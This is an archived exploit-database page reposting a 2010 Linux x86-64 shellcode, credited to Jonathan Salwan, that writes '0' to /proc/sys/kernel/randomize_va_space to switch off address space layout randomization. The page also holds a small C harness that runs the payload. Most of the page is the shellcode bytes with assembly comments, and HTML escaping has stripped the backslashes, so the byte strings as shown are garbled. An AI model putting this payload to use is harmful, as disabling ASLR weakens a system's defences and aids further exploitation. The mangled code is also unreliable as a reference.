Home / os / win7

linux/x86-64 Disable ASLR Security 143 bytes

Posted on 17 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86-64 Disable ASLR Security 143 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================
linux/x86-64 Disable ASLR Security 143 bytes
============================================


/*
Title:  Linux/x86-64 - Disable ASLR Security - 143 bytes
Date:   2010-06-17
Tested: Archlinux x86_64 k2.6.33
 
Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm
 
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
 
 
Description:
============
 Address space layout randomization (ASLR) is a computer security technique
 which involves randomly arranging the positions of key data areas, usually
 including the base  of the executable and position of libraries, heap, and
 stack, in a process's address space.
 
 This shellcode disables the ASLR.
 
*/
 
#include &lt;stdio.h&gt;
 
 
char *SC =
           /*  open(&quot;/proc/sys/kernel/randomize_va_space&quot;, O_WRONLY|O_CREAT|O_APPEND, 0644) */
 
           &quot;x48x31xd2&quot;                                // xor    %rdx,%rdx
           &quot;x48xbbxffxffxffxffxffx61x63x65&quot;    // mov    $0x656361ffffffffff,%rbx
           &quot;x48xc1xebx28&quot;                            // shr    $0x28,%rbx                 
           &quot;x53&quot;                                        // push   %rbx
           &quot;x48xbbx7ax65x5fx76x61x5fx73x70&quot;    // mov    $0x70735f61765f657a,%rbx
           &quot;x53&quot;                                        // push   %rbx
           &quot;x48xbbx2fx72x61x6ex64x6fx6dx69&quot;    // mov    $0x696d6f646e61722f,%rbx
           &quot;x53&quot;                                        // push   %rbx
           &quot;x48xbbx73x2fx6bx65x72x6ex65x6c&quot;    // mov    $0x6c656e72656b2f73,%rbx
           &quot;x53&quot;                                        // push   %rbx
           &quot;x48xbbx2fx70x72x6fx63x2fx73x79&quot;    // mov    $0x79732f636f72702f,%rbx
           &quot;x53&quot;                                        // push   %rbx
           &quot;x48x89xe7&quot;                                // mov    %rsp,%rdi
           &quot;x66xbex41x04&quot;                            // mov    $0x441,%si
           &quot;x66xbaxa4x01&quot;                            // mov    $0x1a4,%dx
           &quot;x48x31xc0&quot;                                // xor    %rax,%rax
           &quot;xb0x02&quot;                                    // mov    $0x2,%al
           &quot;x0fx05&quot;                                    // syscall
 
 
           /* write(3, &quot;0
&quot;, 2) */
 
           &quot;x48xbfxffxffxffxffxffxffxffx03&quot;    // mov    $0x3ffffffffffffff,%rdi
           &quot;x48xc1xefx38&quot;                            // shr    $0x38,%rdi
           &quot;x48xbbxffxffxffxffxffxffx30x0a&quot;    // mov    $0xa30ffffffffffff,%rbx
           &quot;x48xc1xebx30&quot;                            // shr    $0x30,%rbx
           &quot;x53&quot;                                        // push   %rbx
           &quot;x48x89xe6&quot;                                // mov    %rsp,%rsi
           &quot;x48xbaxffxffxffxffxffxffxffx02&quot;    // mov    $0x2ffffffffffffff,%rdx
           &quot;x48xc1xeax38&quot;                            // shr    $0x38,%rdx
           &quot;x48x31xc0&quot;                                // xor    %rax,%rax
           &quot;xb0x01&quot;                                    // mov    $0x1,%al
           &quot;x0fx05&quot;                                    // syscall
 
 
           /* _exit(0) */
 
           &quot;x48x31xff&quot;                                // xor    %rdi,%rdi
           &quot;x48x31xc0&quot;                                // xor    %rax,%rax
           &quot;xb0x3c&quot;                                    // mov    $0x3c,%al
           &quot;x0fx05&quot;;                                   // syscall
 
 
int main(void)
{
        fprintf(stdout,&quot;Length: %d
&quot;,strlen(SC));
        (*(void(*)()) SC)();
return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :